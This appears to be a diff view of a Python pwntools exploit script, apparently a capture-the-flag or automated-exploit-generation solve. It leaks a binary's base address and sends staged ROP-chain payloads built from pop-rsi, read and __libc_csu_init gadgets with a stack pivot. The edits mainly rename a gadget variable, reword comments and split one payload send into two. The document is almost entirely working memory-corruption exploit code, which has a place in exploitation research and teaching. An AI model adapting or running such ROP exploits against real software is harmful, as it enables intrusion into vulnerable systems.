|
10 | 10 | canary = 0x0 |
11 | 11 | elf_base = 0x0 |
12 | 12 | pivot_dest = 0x4850 |
13 | | -pop_rsi_r15_ret = 0x12c1 |
| 13 | +pop_rsi_pop_r15_ret = 0x12c1 |
14 | 14 |
|
15 | 15 | def solve_stage1(canary, elf_base, iostates) -> bytes: |
16 | 16 | os.system('./launch-crax.sh -c {} -e {} -s {}'.format(hex(canary), hex(elf_base), iostates)) |
@@ -43,51 +43,51 @@ def solve_stage1(canary, elf_base, iostates) -> bytes: |
43 | 43 | proc.recv(72) |
44 | 44 | elf_leak = u64(proc.recv(6).ljust(8, b'\x00')) |
45 | 45 | elf_base = elf_leak - 0x1179 |
46 | | - log.info('leaked elf_base : {}'.format(hex(elf_base))) |
| 46 | + log.info('leaked elf_base: {}'.format(hex(elf_base))) |
47 | 47 |
|
48 | 48 | # output state |
49 | 49 | proc.recvrepeat(0.1) |
50 | 50 |
|
51 | | - # input state (offset = 48), skipping |
| 51 | + # input state (offset = 48), skipped |
52 | 52 |
|
53 | | - # input state (offset = 48), skipping |
| 53 | + # input state (offset = 48), skipped |
54 | 54 |
|
55 | 55 | # input state (offset = 48) |
56 | | - # rop chain |
| 56 | + # input state (rop chain begin) |
57 | 57 | payload = solve_stage1(canary, elf_base, 'o,i25,o25,o,i72,o72,o,i48,i48,i48')[97:193] |
58 | 58 | proc.send(payload) |
59 | 59 | time.sleep(0.2) |
60 | 60 |
|
61 | | - payload = p64(elf_base + pop_rsi_r15_ret) |
| 61 | + payload = p64(elf_base + pop_rsi_pop_r15_ret) |
62 | 62 | payload += p64(elf_base + pivot_dest + 0x8 + 0x30 * 0x1) |
63 | 63 | payload += p64(0x0) |
64 | 64 | payload += p64(elf_base + elf.sym['read']) |
65 | | - payload += p64(elf_base + pop_rsi_r15_ret) |
| 65 | + payload += p64(elf_base + pop_rsi_pop_r15_ret) |
66 | 66 | payload += p64(elf_base + pivot_dest + 0x8 + 0x30 * 0x2) |
67 | 67 | proc.send(payload) |
68 | 68 | time.sleep(0.2) |
69 | 69 |
|
70 | 70 | payload = p64(elf_base + elf.sym['_fini']) |
71 | 71 | payload += p64(elf_base + elf.sym['read']) |
72 | | - payload += p64(elf_base + pop_rsi_r15_ret) |
| 72 | + payload += p64(elf_base + pop_rsi_pop_r15_ret) |
73 | 73 | payload += p64(elf_base + pivot_dest + 0x8 + 0x30 * 0x3) |
74 | 74 | payload += p64(0x0) |
75 | 75 | payload += p64(elf_base + elf.sym['read']) |
76 | 76 | proc.send(payload) |
77 | 77 | time.sleep(0.2) |
78 | 78 |
|
79 | | - payload = p64(elf_base + pop_rsi_r15_ret) |
| 79 | + payload = p64(elf_base + pop_rsi_pop_r15_ret) |
80 | 80 | payload += p64(elf_base + pivot_dest + 0x8 + 0x30 * 0x4) |
81 | 81 | payload += p64(0x0) |
82 | 82 | payload += p64(elf_base + elf.sym['read']) |
83 | | - payload += p64(elf_base + pop_rsi_r15_ret) |
| 83 | + payload += p64(elf_base + pop_rsi_pop_r15_ret) |
84 | 84 | payload += p64(elf_base + pivot_dest + 0x8 + 0x30 * 0x5) |
85 | 85 | proc.send(payload) |
86 | 86 | time.sleep(0.2) |
87 | 87 |
|
88 | 88 | payload = p64(0x0) |
89 | 89 | payload += p64(elf_base + elf.sym['read']) |
90 | | - payload += p64(elf_base + pop_rsi_r15_ret) |
| 90 | + payload += p64(elf_base + pop_rsi_pop_r15_ret) |
91 | 91 | payload += p64(elf_base + pivot_dest + 0x8 + 0x30 * 0x6) |
92 | 92 | payload += p64(0x0) |
93 | 93 | payload += p64(elf_base + elf.sym['read']) |
@@ -117,8 +117,11 @@ def solve_stage1(canary, elf_base, iostates) -> bytes: |
117 | 117 | payload += p64(0x4141414141414141) |
118 | 118 | payload += p64(0x4141414141414141) |
119 | 119 | payload += p64(elf_base + elf.sym['read']) |
120 | | - payload += p64(0x0) |
121 | | - payload += p64(elf_base + __libc_csu_init_gadget1) |
| 120 | + payload += p64(0x4141414141414141) |
| 121 | + proc.send(payload) |
| 122 | + time.sleep(0.2) |
| 123 | + |
| 124 | + payload = p64(elf_base + __libc_csu_init_gadget1) |
122 | 125 | payload += p64(0x4141414141414141) |
123 | 126 | payload += p64(0x0) |
124 | 127 | payload += p64(0x1) |
|
0 commit comments